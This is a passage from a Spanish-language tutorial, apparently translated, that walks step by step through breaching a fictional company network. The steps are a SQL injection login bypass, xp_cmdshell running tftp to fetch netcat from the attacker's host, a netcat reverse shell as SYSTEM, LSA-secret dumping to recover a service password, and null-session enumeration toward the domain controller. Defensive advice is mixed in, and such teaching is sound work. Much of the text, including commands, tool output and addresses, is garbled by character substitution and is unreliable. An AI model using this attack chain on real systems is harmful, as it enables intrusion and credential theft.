2sta es esencialmente la t(cnica usada *or los buenos escaneadores de ,ulnerabilidad $ en
#erramientas de #uellas digitales de sistemas o*erati,os -usados *ara reconocer *atrones
caractersticos de cada sistema o*erati,o.. &omo :ltimo recurso' un atacante *uede lan)ar un
ex*loit contra un sistema $ ,er lo "ue *asa. 2sta suele ser la t(cnica usada *or los escaneadores de
,ulnerabilidades *ara buscar los ata"ues de denegacin de ser,icio. /i el sistema toda,a res*onde
des*u(s del ata"ue' ob,iamente es "ue no era ,ulnerable :A.
2ste :ltimo *unto nos lle,a a una de las cosas im*ortantes de las "ue tenemos "ue darnos cuenta
sobre las ,ulnerabilidades sin *arc#ear. &om:nmente' en las *ruebas de intrusin *re+erimos no
usar m(todos "ue de*endan de ,ulnerabilidades sin *arc#ear *ara entrar en los sistemas. Demostrar
"ue existen es interesante' *ero como las ,ulnerabilidades son casi siem*re +uncionalidades no
intencionadas' usarlos acarrea el riesgo de desestabili)ar el #ost $ consecuentemente' la red. /i est0s
#aciendo un test de intrusin' tirar la red en el *roceso es algo raramente acogido con agrado $
*uede "ue redu)ca el e8ercicio a algo m0s corto de lo "ue debiera. Para un atacante real' usar
,ulnerabilidades sin *arc#ear como sistema de entrada a una red es tambi(n un :ltimo recurso. 2n
general' es bastante notorio "ue un ser,idor caiga. /i el atacante *uede entrar sin usar t(cnicas
*otencialmente desestabili)adoras' elegir0 seguramente #acerlo as. /in embargo si usar
,ulnerabilidades sin *arc#ear es la :nica manera de entrar' el atacante lo usar0 sin dudarlo.
Eamos a su*oner "ue la red ob8eti,o de nuestro e8em*lo est0 com*letamente *arc#eada $ "ue todos
los sistemas tienen las :ltimas actuali)aciones.
Estructura de &as A'&icaciones y &os /er(idores ,ack2End
/i *uedes' suele ser de gran a$uda obtener in+ormacin acerca de la estructura de las a*licaciones $
los ser,idores 4ackA2nd' si es "ue #a$ alguno. 2n muc#os casos' esto es mu$ di+cil de #acer' *ero
*uede "ue tengas suerte en algunos casos. Por e8em*lo' digamos "ue tienes una red ob8eti,o "ue usa
un a*licacin Web *articular de una terceraAcom*a7a con unos nombres de +ic#eros $ dise7os de
*0gina mu$ caractersticos. De ser as' suele ser ob,io *ara el atacante "u( a*licacin est0s usando.
/i el atacante es +amiliar con la a*licacin' *uede "ue se*a como ex*lotarlo. Por e8em*lo' la
a*licacin *uede usar un +ic#ero de con+iguracin llamado YwebrootYZs$stem.con+ig. /i los
+ic#eros con la extensin .con+ig no son anali)ados gramaticalmente -*arsed. *or el ser,idor Web'
el atacante *uede sim*lemente *edir el +ic#ero al ser,idor Web. 2n un escenario idneo' ese +ic#ero
solo le *ro*orcionar0 in+ormacin como los nombres de los ser,idores 4ackA2nd $ la base de datos.
2n el *eor de los casos' ese +ic#ero contendr0 el nombre de usuario $ contrase7a usada *ara
establecer la conexin entre el ser,idor Web $ el ser,idor de 4ases de Datos.
No cometas el error de desec#ar esto como un e8em*lo arti+icial. No lo es. 2sta misma situacin se
encontr #ace unos meses mientras e,alu0bamos la red de un cliente *ara ,er si #aba algo "ue
*odan #acer *ara me8orar la seguridad. Un gran n:mero de a*licaciones Web comerciales est0n
escritos extremadamente mal' b0sicamente con,irti(ndolos en *uertas traseras abiertas de *ar en *ar
#acia la red.
Deta&&es de Im'&ementacin !u$&icados 'or e& Administrador de /istemas en un 3ru'o de
Noticias o Ha$#rse&as Contado a un Re'ortero
2s sor*rendente cuanta in+ormacin *uedes recabar sobre la red de una com*a7a metiendo ci)a7a
en los gru*os de noticias $ los artculos de re,istas. Demasiadas ,eces' el administrador de sistemas
*ostea *reguntas "ue re,elan detalles sensibles sobre su red: los ti*os de sistema "ue utili)an' la
con+iguracin del +irewall $ otras cosas. 2n algunos casos' #an #abido artculos de re,istas "ue
intentaban resaltar cuan buena una com*a7a era a la #ora de construir su red. Desa+ortunadamente'
tambi(n *ro*orcionan al atacante el dise7o de la red con este error. /e extremadamente cauto con lo
"ue dices en los gru*os de noticias $ a los re*orteros. 3a me8or estrategia *ara nosotros es no #ablar
con los *eriodistas $ *unto. /e tambi(n cuidadoso con la in+ormacin "ue *ongas dis*onible en los
mensa8es cuando est(s +uera de la o+icina al irte de ,acaciones:
4ob [ones estar0 +uera las semanas del VG de No,iembre al VM. Para de8arme un mensa8e de
,o) mientras est( +uera llamar al HFOAOOOAVFFF.
/i necesitas a$uda des*legando un *arc#e' *or +a,or es*era #asta "ue regrese
/i es sobre un *roblema de seguridad a la #ora de des*legar ''), +a,or de contactar &#ristina
/mit# en el HFOAOOOAVFUH o en csmit#\,ictimsrus.com.
Para reiniciar la cla,e de la red' llamar a Dennis Anderson al HFOAOOOAVFUO $ dadle ,uestro
n:mero de tel(+ono $ direccin eAmail.
/i est0s buscando uno de los tres *ort0tiles "ue estamos mandando' *od(is coger
sim*lemente uno +uera del edi+icio W los 8ue,es.
/i ol,idaste la direccin del nue,o ser,idor EPN' es secret,*n.,ictimsrus.com. Usad ,uestro
eAmail como nombre de usuario. 5u contrase7a inicial es tu nombre de entrada -la *arte
anterior a la arroba.
/i necesitas un diagrama de la red' en,a un eAmail a netdiag \,ictimsrus.com $ se te
en,iar0 una autom0ticamente a ese correo.
2n este *unto' tenemos toda la in+ormacin "ue necesitamos *ara comen)ar el ata"ue. 2l *rimer
*aso es establecer un *rimer *unto de a*o$o dentro de la red= *er+orar la c0scara de #ue,o' dic#o de
otro modo.
Com'romiso Inicia&
Para e8ecutar el *rimer *aso del ata"ue -el com*romiso inicial. el atacante tiene "ue e,aluar lo "ue
est0 ex*uesto. 2l ob8eti,o del com*romiso inicial es obtener un *unto de a*o$o en la red "ue *ueda
ser ex*andido m0s adelante. 3o :nico ex*uesto en esta red es el ser,idor Web' $ un *uerto abierto
donde no se est0 escuc#ando nada. 2sto nos de8a con una *0gina Web como :nica entrada.
P0gina inicial de Eictimsrus.com
Desde esta *antalla' *uedes saber dos cosas. 3a *rimera' "ue no somos dise7adores gr0+icos. /i
buscabas gr0+icos im*actantes' b:scalos en otro artculo. /i lo "ue "uieres son ata"ues a la red $
m0s im*ortante a:n' *roteccin' sigue le$endo. /egundo' esto es ob,iamente alg:n sitio de *edidos
de alg:n ti*o. Eamos a usar una cuenta legtima *ara descubrir algo m0s.
A#ora llegamos a una *0gina "ue te da la bien,enida a la librera Pubs $ te lista los libros "ue est0n
a la ,enta. 5ambi(n nos damos cuenta de "ue la *0gina nos muestra nuestro nombre de usuario.
2sto *uede ,enirnos bien si no son lo su+icientemente cuidadosos *or"ue *odemos usarlo *ara
,alidar otras t(cnicas concretas. Por e8em*lo' muc#as ,eces los sitios Web como este utili)an un
algoritmo mu$ *obre *ara com*robar si #as introducido el nombre de usuario $ la cla,e correcta.
5ambi(n tenemos curiosidad de saber si est0n ,alidando de un modo a*ro*iado la entrada de los
cam*os de nombre de usuario $ contrase7a. Para com*robarlo de+initi,amente' ,amos a utili)ar una
t(cnica llamada >/!3 in8ection? o >in$eccin /!3?. ;n$eccin /!3 #ace uso de las *obres
t(cnicas de *rogramacin de la ma$ora de los desarrolladores. 2n un ata"ue de in$eccin /!3' un
atacante introduce datos a la a*licacin' "ue acaba *asando como datos no ,alidados #asta el
/istema de Xestin de la 4ase de Datos -D46/.. 2l D46/' sin embargo' inter*reta estos datos
como instrucciones legtimas. 2l resultado neto es "ue el atacante *uede reescribir la consulta "ue
e8ecuta el D46/ $ *or lo tanto alterar las instrucciones "ue el D46/ ,a$a a e8ecutar.
3a *0gina de los *edidos *rinci*al
Para ,eri+icar la existencia de una ,ulnerabilidad *or in$eccin de /!3' ,amos a *asarle el ,alor
!foo" #$ 1%1&''! desde el cam*o de nombre de usuario. 2sto nos de,ol,er0 el siguiente
resultado
Un e8em*lo de in$eccin /!3 -$ crossAsite scri*ting. +uncionando
2n esta imagen *odemos ,er no solo "ue #emos entrado' sino "ue la a*licacin tambi(n nos
muestra el +also nombre de usuario "ue le en,iamos en la *0gina *rinci*al. 2ste :ltimo resultado es
realmente un ti*o di+erente de ,ulnerabilidad conocido como crossAsite scri*ting -]//.' donde la
entrada del usuario es re*etida directamente en la *antalla sin >desin+ectarlo? antes. No ,amos a
usarlo en el siguiente ata"ue' *ero es interesante ,er "ue est0 a#.
/in embargo' es toda,a m0s curioso saber como #emos conseguido entrar. <a$ alg:n usuario
llamado !foo" #$ 1%1&''!% No' no #a$ tal usuario. 3a a*licacin est0 sim*lemente mal escrita.
5odo lo "ue necesitamos saber es "ue la a*licacin asume "ue si un resultado ,iene desde la base de
datos cuando se *regunta *or un usuario con una *articular contrase7a' la combinacin del nombre
de usuario $ la contrase7a son entonces ,0lidos' $ *or lo tanto' de8ar0 entrar a este usuario. <emos
reescrito la consulta a la base de datos de un modo e+ecti,o' a tra,(s de un ata"ue de in$eccin
/!3' *ara "ue inclu$a la sentencia #$ 1%1. &omo V es igual a V siem*re' esto se e,aluar0 como
cierto' lo "ue signi+ica "ue toda la consulta se e,aluar0 como cierta' *ara todos los registros de la
base de datos. 2sto nos de,ol,er0 todos los nombres de usuario de la base de datos' lo "ue #ar0 "ue
la a*licacin *iense "ue estamos metidos en el sistema.
Podemos utili)ar esta ,ulnerabilidad de in$eccin /!3 *ara en,iar comandos arbitrarios al
ser,idor de base de datos 4ackA2nd. Eamos a usar esto en un ata"ue de ele,acin de *ri,ilegios
*ara conseguir "ue la base de datos e8ecute un comando *ara nosotros.
Nota
Una ,ulnerabilidad de in$eccin /!3 no es una ,ulnerabilidad de la D46/. 2sta es una
,ulnerabilidad de la a*licacin "ue accede a la D46/. 2l D46/ est0 #aciendo exactamente lo "ue
debera #acer' "ue es e,aluar $ e8ecutar sentencias en,iadas a ella $ de,ol,erle las res*uestas a "uien
las #a$a reali)ado. 60s a:n' este no es un *roblema es*ec+ico de 6icroso+t /!3 /er,er' $a "ue la
,ulnerabilidad est0 en la a*licacin "ue est0 al +rente. 3os ata"ues de in$eccin /!3 *ueden ser
*er*etrados con cual"uier base de datos. Un atacante solo necesita modi+icar el exploit *ara "ue
concuerde con la sintaxis re"uerida $ la +uncionalidad *resentada *or el D46/ *articular "ue se est(
usando en el ob8eti,o.
E&e(ando !ri(i&e%ios
&omo #emos ,isto antes' el ser,idor de la base de datos no est0 directamente accesible desde
;nternet' $ nuestro ser,idor Web +rontal est0 com*letamente *arc#eado $ no tiene ning:n ti*o de
,ulnerabilidad. Nuestro ob8eti,o en este *unto es ele,ar nuestros *ri,ilegios *ara "ue *odamos
con,ertirnos en un usuario interno' *re+eriblemente uno con grandes *ri,ilegios' en uno de los
sistemas de la red ob8eti,o. Para #acerlo' ,amos a usar la in$eccin /!3 *ara en,iar comandos al
ser,idor de la base de datos $ *edirle "ue #aga cosas *ara nosotros.
2s im*ortante darse cuenta a"u "ue no *odemos conectarnos directamente con el ser,idor de la
base de datos' as "ue en ,e) de eso ,amos a *edirle "ue nos #aga una conexin (l a nosotros.
Eamos a em*e)ar *or con+igurar un *uerto de escuc#a en la m0"uina del atacante. Des*u(s
#aremos "ue la base de datos se conecte a nosotros.
Antes de "ue *odamos controlar la base de datos necesitamos introducir algunas #erramientas en (l.
2sto es im*ortante *or"ue' en t(rminos generales' las #erramientas de ata"ue no son instaladas en el
sistema o*erati,o *or de+ecto. <a$ muc#as t(cnicas *ara conseguir introducir nuestras #erramientas
-muc#as ,eces llamadas >ware)?. en el ser,idor de la base de datos. Una o*cin sencilla sera
utili)ar un *rotocolo de trans+erencia de +ic#eros como el 5ri,ial File 5rans+er *rotocolo -*+*, o
*rotocolo tri,ial de trans+erencia de +ic#eros.. *+*, es un *rotocolo de trans+erencia de +ic#eros sin
conexin -UDP. *ara arrancar estaciones de traba8o sin unidad de disco. No obstante' la a*licacin
cliente *ara *+*, est0 instalada en todos los sistemas Windows *or de+ecto. &omo tenemos una
,ulnerabilidad de in$eccin /!3' *odemos usarla *ara decirle al ser,idor de la base de datos "ue
use *+*, *ara "ue obtenga nuestras #erramientas. 3a *rimera #erramienta "ue ,amos a subir
-descargar%:A. es Netcat. Netcat es una #erramienta de red del estilo de 5elnet' exce*to "ue es
muc#o m0s ,ers0til $ no est0 autenticado. 2st0 dis*onible libremente en ;nternet $ ,iene como
est0ndar en muc#as distribuciones UN;] $ 3inux. 2n cierto grado' es usado uni,ersalmente *or
todos los atacantes' $ no debera de8arse en el sistema a no ser "ue sea absolutamente necesario.
4are5
Ware) es un colo"uialismo de los #ackers9atacantes. Eiene del t(rmino >so+tware?' *ero #o$ en da
se utili)a *ara denominar las #erramientas de ata"ue o bien el so+tware *irata. Nosotros lo usaremos
como en el *rimer contexto.
2n este *unto' no sabemos "u( *ri,ilegios tenemos en el ser,idor de bases de datos. Nuestros
comandos en el ser,idor de bases de datos se e8ecutar0n con el usuario con el "ue la a*licacin Web
se conecte. 2ste *uede ser cual"uiera' *ero demasiadas ,eces la conexin suele #acerse con usuarios
con demasiados *ri,ilegios. 6uc#os *rogramadores Web utili)an la cuenta >sa? *ara esto *or"ue:
-V.todo +unciona *er+ectamente $a "ue >sa? -s$stem administrador. *uede #acer cual"uier cosa $
-F.#a$ menos "ue teclear $a "ue normalmente >sa? tiene una cla,e ,aca
2n este caso' la conexin resulta "ue es con el usuario >sa?' lo "ue signi+ica "ue tenemos acceso al
x*Pcmds#ell extended stored *rocedure -x*roc.' "ue *or de+ecto solo est0 dis*onible *ara el
administrador de sistema.. ]*Pcmds#ell -inter*rete de comandos x*. es usado *or el ser,idor /!3
*ara e8ecutar comandos del sistema o*erati,o' lo "ue signi+ica "ue si le *asamos los *ar0metros
adecuados' el ser,idor /!3 acabar0 e8ecutando cual"uier comando del sistema o*erati,o "ue
"ueramos. ]*Pcmds#ell se instala *or de+ecto en /!3 /er,er FGGG. Usando el ata"ue de in$eccin
/!3' *odemos llamar a x*Pcmds#ell $ *edirle "ue in,o"ue *+*, $ "ue este' a su ,e)' se conecte
con nuestra ma"uina asaltante $ obtenga el Netcat de a#.
TR6C):
1aramente se necesita ]*Pcmds#ell en la ma$ora de los casos' $ *uede ser des#abilitado como una
medida de de+ensa en *ro+undidad *ara *rotegernos *recisamente contra este ti*o de ata"ues.
2l uso de x*Pcmds#ell est0 auditado tanto en el registro de errores de /!3 como en el registro de
a*licaciones de Windows. /i embargo' un atacante "ue *uede e8ecutar x*Pcmds#ell *uede con toda
certe)a borrar e,entos arbitrarios del registro de errores de /!3 $ *osiblemente tambi(n del registro
de a*licaciones.
Una ,e) "ue #emos subido Netcat e8ecutamos x*Pcmds#ell otra ,e) $ lo e8ecutamos. 3e decimos a
Netcat "ue cree un socket-conexin. $ "ue *ase ese socket como stdin-in*ut' entrada est0ndar.'
stdout -out*ut' salida est0ndar.' $ stderr -error out*ut' salida de error est0ndar. en una llamada a
cmd.exe -el inter*rete de comandos.. 2sto suena com*licado' *ero +unciona de un modo +iable. 2l
resultado es una conexin de salida donde canali)amos un int(r*rete de comandos sobre un socket.
A#ora tenemos un int(r*rete de comandos en el #ost del atacante.
c:\(nc ') 'p 1234*
+icrosoft ,inows 2000 -.ersion *.00.219*/
0 Cop1ri23t 198*'2000 +icrosoft Corp.
C:\,4556\s1ste732(3ostna7e
3ostna7e
P85'9:;
2n este *unto' #emos establecido nuestro *rimer *unto de a*o$o $ ,amos *or buen camino *ara
a*oderarnos de la red. <emos escalado *ri,ilegios desde un usuario annimo remoto #asta un
usuario de dentro. Para descubrir "u( ti*o de usuario es' tenemos "ue introducir el resto de nuestras
#erramientas en el sistema. 2stas #erramientas se usar0n *ara escalar los *ri,ilegios locales si +uera
necesario as como *ara #ackear el resto de los sistemas de la red. Podemos trans+erir estos usando
t+t*.exe. Des*u(s de #acerlo' *odemos ,eri+icar nuestras credenciales en el #ost
C:\Warez>whoami
whoami
NT AUTHORITY\SYSTEM
J4ingoK Ya estamos en el 3ocal/$stem-sistema local.. 2sto debe signi+icar "ue el ser,idor /!3
corre en el contexto del 3ocal/$stem. &uando le di8imos "ue e8ecutara x*Pcmds#ell' e8ecut el
comando "ue le *asamos como 3ocal/$stem tambi(n. 2sto signi+ica "ue $a #emos com*rometido
com*letamente el ser,idor 4ackA2nd de bases de datos. A#ora *odemos *roceder a atacar otras
m0"uinas de la red. 2n este *unto nuestro *rimero #ost #a sido com*rometido' como muestra la
siguiente imagen:
2l ser,idor de bases de datos #a sido com*rometido
Antes de continuar' con,iene *ararse a"u $ re+lexionar en *or"u( #emos tenido (xito #asta a#ora:
3a *rimera entrada se #i)o utili)ando una a*licacin escrita *obremente.
3a a*licacin Web de+ectuosa nos #a *ermitido *asar comandos a un ser,idor de bases de
datos no +ortalecido.
2l ser,idor de bases de datos est0 autori)ado a crear conexiones "ue salen a tra,(s del
corta+uegos.
/i tu corta+uegos no so*orta +iltrado de salida' necesitas +iltrar ese tr0+ico en el #ost.
Finalmente' #emos usado una #erramienta instalada *or de+ecto *ara subir las #erramientas
necesarias *ara com*letar el ata"ue. /in estas #erramientas' el ata"ue #abra sido
considerablemente m0s di+cil. 3a #erramienta utili)ara +ue t+t*.exe' *ero #a$ otras
#erramientas "ue *uedes usarse *ara el mismo *ro*sito. 2l uso de estas #erramientas
necesita ser restringido *ara solo a"uellos usuario "ue los necesiten a ciencia cierta.
Hackeando )tras -"uinas
Ya #emos *er+orado la c0scara de #ue,o. 2n este *unto' nuestro ob8eti,o es *oseer com*letamente
la red $ ca*turar todo lo dem0s. Para em*e)ar' ,amos a tener "ue colectar alguna in+ormacin sobre
nuestro ob8eti,o. Para ello ,amos a usar una utilidad "ue enumera la in+ormacin desde un sistema
sobre una sesin nula -null session.. Una sesin nula es una conexin annima -*or e8em*lo' una
#ec#a sin ning:n ti*o de autenticacin.. Por de+ecto' algunos sistemas Windows *ublican m0s
in+ormacin "ue otros sobre el mismo *uerto. Por su*uesto' en este caso' nosotros lo corremos
contra el local#ost' lo "ue signi+ica "ue las restricciones annimas no se nos a*licar0n.
C:\warez(u7pinfo 12<.0.0.1
63e =7inistrator is: P85'9:;\=7inistrator
>sers on P85'9:;:
$4D 1000 P85'9:;\6s4nternet>ser a >ser
$4D 1001 P85'9:;\9:;De?u22er a >ser
93are 61pe Co77ent
4PC@ >nAnown $e7ote 4PC
=D+45@ 9pecia) $e7ote =7in
C@ 9pecia) Defau)t s3are
=7inistrators:
P85'9:;\=7inistrator
P85'D+B\Cis
P85'D+B\Do7ain =7ins
&on esto' nos enteramos de "ue no #a$ muc#a cosa en este sistema. /e *arece bastante a un sistema
*or de+ecto. Antes de "ue *rocedamos a usar esta in+ormacin' ,amos a descubrir donde estamos
ubicados.
C:\warez(ipconfi2 Da))
,inows 2000 4P Confi2uration
Host 5a7e . . . . . . . . . . : P85'9:;
Pri7ar1 D59 9uffiE . . . . . . : P85'D+B.;#C=;
5oe 61pe . . . . . . . . . . : +iEe
4P $outin2 Fna?)e . . . . . . : 5o
,459 ProE1 Fna?)e . . . . . . : 5o
D59 9uffiE 9earc3 ;ist . . . . : P85'D+B.;#C=;
Ft3ernet aapter ;oca) =rea Connection:
Connection'specific D59 9uffiE .:
Description . . . . . . . . .: 4nte) 21140 Gase
PC4 Hast Ft3ernet
=apter
P31sica) =ress . . . . . . .: 00'03'HH'03'3F'H0
DHCP Fna?)e . . . . . . . . .: 5o
4P =ress . . . . . . . . .: 1<2.1<.0.3
9u?net +asA . . . . . . . . .: 2**.2**.2**.0
Defau)t Iatewa1 . . . . . . .: 1<2.1<.0.1
D59 9ervers . . . . . . . . .: 1<2.1<.0.2
2sto nos da nuestra direccin ;P as como alguna otra in+ormacin :til sobre la red ob8eti,o. Fi8aros
"ue el #ost tiene una direccin *ri,ada' o sea "ue nuestra conexin debe ir a tra,(s de un router
NA5 en VMF.VM.G.V.
2l ob8eti,o a#ora es aumentar el com*romiso a otros #osts. Para #acerlo' el atacante comien)a *or
mirar las maneras m0s sencillas de ex*lotarlos. Puede "ue la m0s sencilla sea usar las cuentas de
ser,icio com*artido' si es "ue est0n *resentes. 3as cuentas de ser,icio se usan en Windows *ara
arrancar un ser,icio' normalmente cuando estos ser,icios necesitan ser arrancados como un usuario
"ue no sea del sistema' o cuando necesitan acceder a un recurso *articular de la red. Por e8em*lo' un
ser,icio *uede ser ca*a) de conectarse a un recurso com*artido de la red en un #ost remoto' o
*uede "ue necesite e8ecutar cdigo ba8o el contexto de un usuario es*ec+ico. 3a manera m0s
sencilla de con+igurar un ser,icio as en m:lti*les sistemas es crear una cuenta :nica de dominio $
luego con+igurar todos los sistemas "ue e8ecutan ese ser,icio con la misma cuenta. 2sto signi+ica
"ue si encontramos cual"uier ser,icio e8ecut0ndose con cuentas de usuario regulares -al contrario
"ue cuentas del sistema como 3ocal/$stem' Network/er,ice $ 3ocal/er,ice.' sera +0cil a*ostar a
"ue esas cuentas tengan *ri,ilegios en m:lti*les sistemas. 3as soluciones de res*aldo en red' *or
e8em*lo' tienen mala +ama *or usar una cuenta de administrador :nica de dominio *ara e8ecutar el
cliente de co*ias de res*aldo en cada una de las m0"uinas del dominio.
Para descubrir si este es un ,ector ,iable' ,amos a com*robar "uien est0 e8ecutando ser,icios en el
ser,idor de bases de datos. Para #acerlo' usamos una #erramienta designada *ara tal *ro*sito:
C:\warez(serviceuser \\P85'9:;
4D9 P85'D+B\Cis
<a$ una cuenta de dominio usada *ara el ser,icio ;D/= *resumiblemente sea el ser,icio de
deteccin de intrusos.
7Qu# es un ser(icio ID/8
&omo casi todo en este artculo' #a$ una #istoria detr0s de la cuenta ;D/. Una ,e) tu,imos "ue
ca*turar toda una red a tra,(s de un sistema de deteccin de intrusos. 2l sistema tena un
com*onente cliente instalado en cada ser,idor en todo el centro de datos *ara agregar las entradas de
registros. Des*u(s de "ue com*rometi(ramos uno de ellos' +ue cuestin de extraer todas las
credenciales *ara com*rometer el reto' $ des*u(s lim*iar los registros *ara ta*ar nuestros rastros en
el *roceso. No #a$ nada m0s satis+actorio "ue a*ro*iarse de toda una red usando un ser,icio de
deteccin de intrusos' $ en recuerdo de esa red' #emos llamado a"u a nuestra cuenta de ser,icio
P;D/.
u7pinfo tambi(n nos di8o *re,iamente "ue era un administrador. /i el atacante es ,erdaderamente
a+ortunado' la cuenta es a su ,e) un administrador de dominio $ el 8uego se #abra acabado a"u. /in
embargo' en este caso' *arece *oco *robable "ue sea un administrador de dominio $a "ue la cuenta
estaba ex*lcitamente listada en el gru*o de Administradores. Para entender como ex*lotar esto'
tenemos "ue entender como o*era Windows. 3os ser,icios son a*licaciones "ue se e8ecutan cuando
el sistema arranca. ;gual "ue cual"uier otro *roceso del sistema' deben e8ecutarse ba8o la identidad
de alg:n usuario. &uando el ser,icio em*ie)a' el sistema o*erati,o autentica la cuenta usada *or el
ser,icio $ *ara ello necesita un nombre de usuario $ una cla,e. 2l nombre de usuario $ la
contrase7a est0n guardados en el gestor de control de ser,icios' en un lugar llamado 3ocal /ecurit$
Aut#orit$ -L)-' Autoridad de /eguridad 3ocal. /ecrets. 3os L)- /ecrets son mantenidos *or el
L)- *ara mantener cierta in+ormacin sensible re"uerida *ara las o*eraciones del sistema. 2sta
in+ormacin inclu$e elementos como las credenciales de las cuentas del ordenador' las cla,es
ci+radas $ las credenciales de las cuentas de ser,icios.
3os L)- /ecrets est0n ci+rados en el disco $ son desci+rados *or el sistema o*erati,o cuando el
e"ui*o arranca. /e mantienen en texto claro en el es*acio de memoria del *roceso L)- mientras el
sistema se est( e8ecutando. /i *uedes debuggear el *roceso L)-' *uedes leer ese es*acio de
memoria. 2sto *uede sonar desalentador' *ero #a$ utilidades *ara atacar dise7ados es*ec+icamente
*ara este *ro*sito. Para debuggear un *roceso L)-' un usuario debe tener el /eDebugPri,ilege'
"ue se concede *or de+ecto solo a los Administradores.
Nota
/i tienes instalado Eisual /tudio' #abr0 un gru*o de usuarios de Debugger. 5odos los miembros de
ese gru*o tienen el /eDebugPri,ilege.
&omo los Administradores *ueden #acer lo "ue "uieran de todos modos' la #abilidad de debuggear
el *roceso L)- no es una ,ulnerabilidad en si misma. 2llos *oseen el sistema sin ese *ri,ilegio' $
*ueden conceder a cual"uiera ese *ri,ilegio. 3a ,ulnerabilidad es o*eracional $ ocurre cuando
usuarios no +iables tienen ese *ri,ilegio.
2n nuestro caso' no necesitamos usar el /eDebugPri,ilege. 1ecuerda "ue nuestro s#ell o lnea de
comandos remoto se est0 e8ecutando como 3ocal/$stem. 2n otras *alabras' estamos usando la
misma identidad "ue el *roceso L)-' $ *or lo tanto tenemos el derec#o intrnseco de agregar un
debugger al mismo' con *ri,ilegios o sin ellos. 28ecutando la #erramienta *ara extraer esos secretos'
nos encontramos con lo siguiente:
C:\warez()sau7p2
@+=CH45F.=CC
13 HF 4C 3= 04 H8 1H 94 <* C8 9G 0G 1C 3* 4* <= ..;:....u....*Fz
*2 <F 2* DH H8 1< H2 96 3= 3* 81 C< $JK.....:*..
Defau)tPasswor
DP=P4C9896F+
01 00 00 00 C8 == H8 8C 36 C< 69 CC DD 42 CG 1* ........6.i..G..
3H 4F 0< 6D 48 0* 0= 4C HF 31 8< C9 H2 *8 =3 =D L5.7H..;.1...M..
G< =D 13 20 26 11 24 24 HH <9 =F D3 ... N.@@.1..
...
C9CC4D9
69 00 64 00 <3 00 *0 00 61 00 <3 00 <3 00 << 00 i..s.P.a.s.s.w.
64 00 21 00 .O.
3a salida #a sido truncada *ara #acerlo m0s sencillo de leer' *ero la ,erdadera *ie)a interesante est0
8usto al +inal' donde las credenciales de la cuenta de ser,icio est0n listadas. 3a columna de la
derec#a *osee la contrase7a de la cuenta de ser,icio. A#ora sabemos "ue la cla,e *ara la cuenta
PYNZPids es idsPasswdK -la salida es Unicode' *or lo tanto los *untos entre caracteres no signi+ican
nada.. 3o :nico "ue nos "ueda a#ora es descubrir donde usarla. Usando DiscoverHosts
encontramos "ue #a$ solo otras dos m0"uinas en esta subred' VMF.VM.G.V -la *uerta de salida. $
VMF.VM.G.F -el ser,idor DN/.. Necesitamos saber m0s de ellos:
C:\warez(u7pinfo 1<2.1<.0.1
>na?)e to )ooA up t3e )oca) a7inistrator
>na?)e to enu7erate users ?ecause 4 cou) not 2et t3e =7in 9i
93are 61pe Co77ent
4PC@ >nAnown $e7ote 4PC
=D+45@ 9pecia) $e7ote =7in
wwwroot@ DisA
C@ 9pecia) Defau)t s3are
=7inistrators:
>na?)e to enu7erate a7inistrators
F$$#$: =ccess Denie
No estamos obteniendo muc#a in+ormacin sobre este sistema. 2so es *or"ue es un ser,idor
miembro Windows /er,er FGGU. 2n los ser,idores miembro e inde*endientes Windows /er,er
FGGU' los usuarios de las sesiones nulas solo ser0n ca*aces de listar los recursos com*artidos de este
sistema' *ero no las cuentas de usuarios *or de+ecto. 2sto se *uede incluso restringir un *oco mas
*ara "ue no #a$a dis*onible nada de in+ormacin.
3o "ue *odemos decidir de u7pinfo es "ue la *uerta de salida est0 e8ecutando un ser,idor Web'
basado en el #ec#o de "ue ex*one un recurso wwwrootL. F8ate tambi(n "ue obtenemos una lista de
los llamados recursos com*artidos ocultos -recursos con el *os+i8o L.. 2l smbolo L es realmente
solo una noti+icacin *ara el lado del cliente de la inter+a) de *rogramacin de a*licacin -AP;.
*ara "ue no muestre el elemento. 3a #erramienta u7pinfo est0 escrita es*ec+icamente *ara
ignorar esta con,encin $ mostrar el elemento de todos modos.
/era tambi(n :til saber "u( t(rminos est0n ex*uestos en este sistema. Para ello' ,amos a ,ol,er a
usar nuestro escaneador de *uertos:
C:\warez(portscan 1<2.1<.0.1
Port 1<2.1<.0.1:80 open
Port 1<2.1<.0.1:13* open
Port 1<2.1<.0.1:139 open
Port 1<2.1<.0.1:44* open
Port 1<2.1<.0.1:3389 open
1ealmente esto no nos dice gran cosa "ue no se*amos de antemano. /i /64 estu,iese blo"ueado'
u7pinfo #abra +allado. 5ambi(n #emos descubierto "ue el #ost est0 e8ecutando 5erminal
/er,ices' cosa "ue es bastante com:n. Dirigiendo nuestra atencin al otro sistema de la red'
obtenemos lo siguiente:
C:\warez(u7pinfo 1<2.1<.0.2
63e =7inistrator is: P85'D+B\=7inistrator
>sers on P85'D+B'DC:
$4D 1000 P85'D+B\He)p9ervicesIroup an =)ias
$4D 1001 P85'D+B\9>PP#$6C38894*a0 a >ser
$4D 1002 P85'D+B\6e)netC)ients an =)ias
$4D 1003 P85'D+B\P85'D+B'DC@ a >ser
$4D 1104 P85'D+B\Dns=7ins an =)ias
$4D 110* P85'D+B\Dns>pateProE1 a Iroup
$4D 1106 P85'D+B\=)eE a >ser
$4D 110< P85'D+B\Go? a >ser
$4D 1108 P85'D+B\Ceci) a >ser
$4D 1109 P85'D+B\Denise a >ser
$4D 1110 P85'D+B\Fric a >ser
$4D 1111 P85'D+B\Hre a >ser
$4D 1112 P85'D+B\Ieor2e a >ser
$4D 1113 P85'D+B\Henr1 a >ser
$4D 1114 P85'D+B\4rene a >ser
$4D 111* P85'D+B\Pu)ie a >ser
$4D 1116 P85'D+B\Qurt a >ser
$4D 111< P85'D+B\;aura a >ser
$4D 1118 P85'D+B\+a22ie a >ser
$4D 1119 P85'D+B\6e1 a >ser
$4D 1120 P85'D+B\+iAe a >ser
$4D 1121 P85'D+B\P85'9:;@ a >ser
$4D 1122 P85'D+B\P85',FG@ a >ser
$4D 1123 P85'D+B\C4D9 a >ser
93are 61pe Co77ent
4PC@ >nAnown $e7ote 4PC
5F6;#I#5 DisA ;o2on server s3are
=D+45@ 9pecia) $e7ote =7in
989.#; DisA ;o2on server s3are
C@ 9pecia) Defau)t s3are
=7inistrators:
>na?)e to enu7erate a7inistrators
F$$#$: =ccess Denie
2sto es ob,iamente m0s interesante. 3a m0"uina debe ser un &ontrolador de Dominio -D&. *or"ue
los dominios de las cuentas son PYNAD6D' *ero el nombre del #ost es PYNAD6DAD&. Un
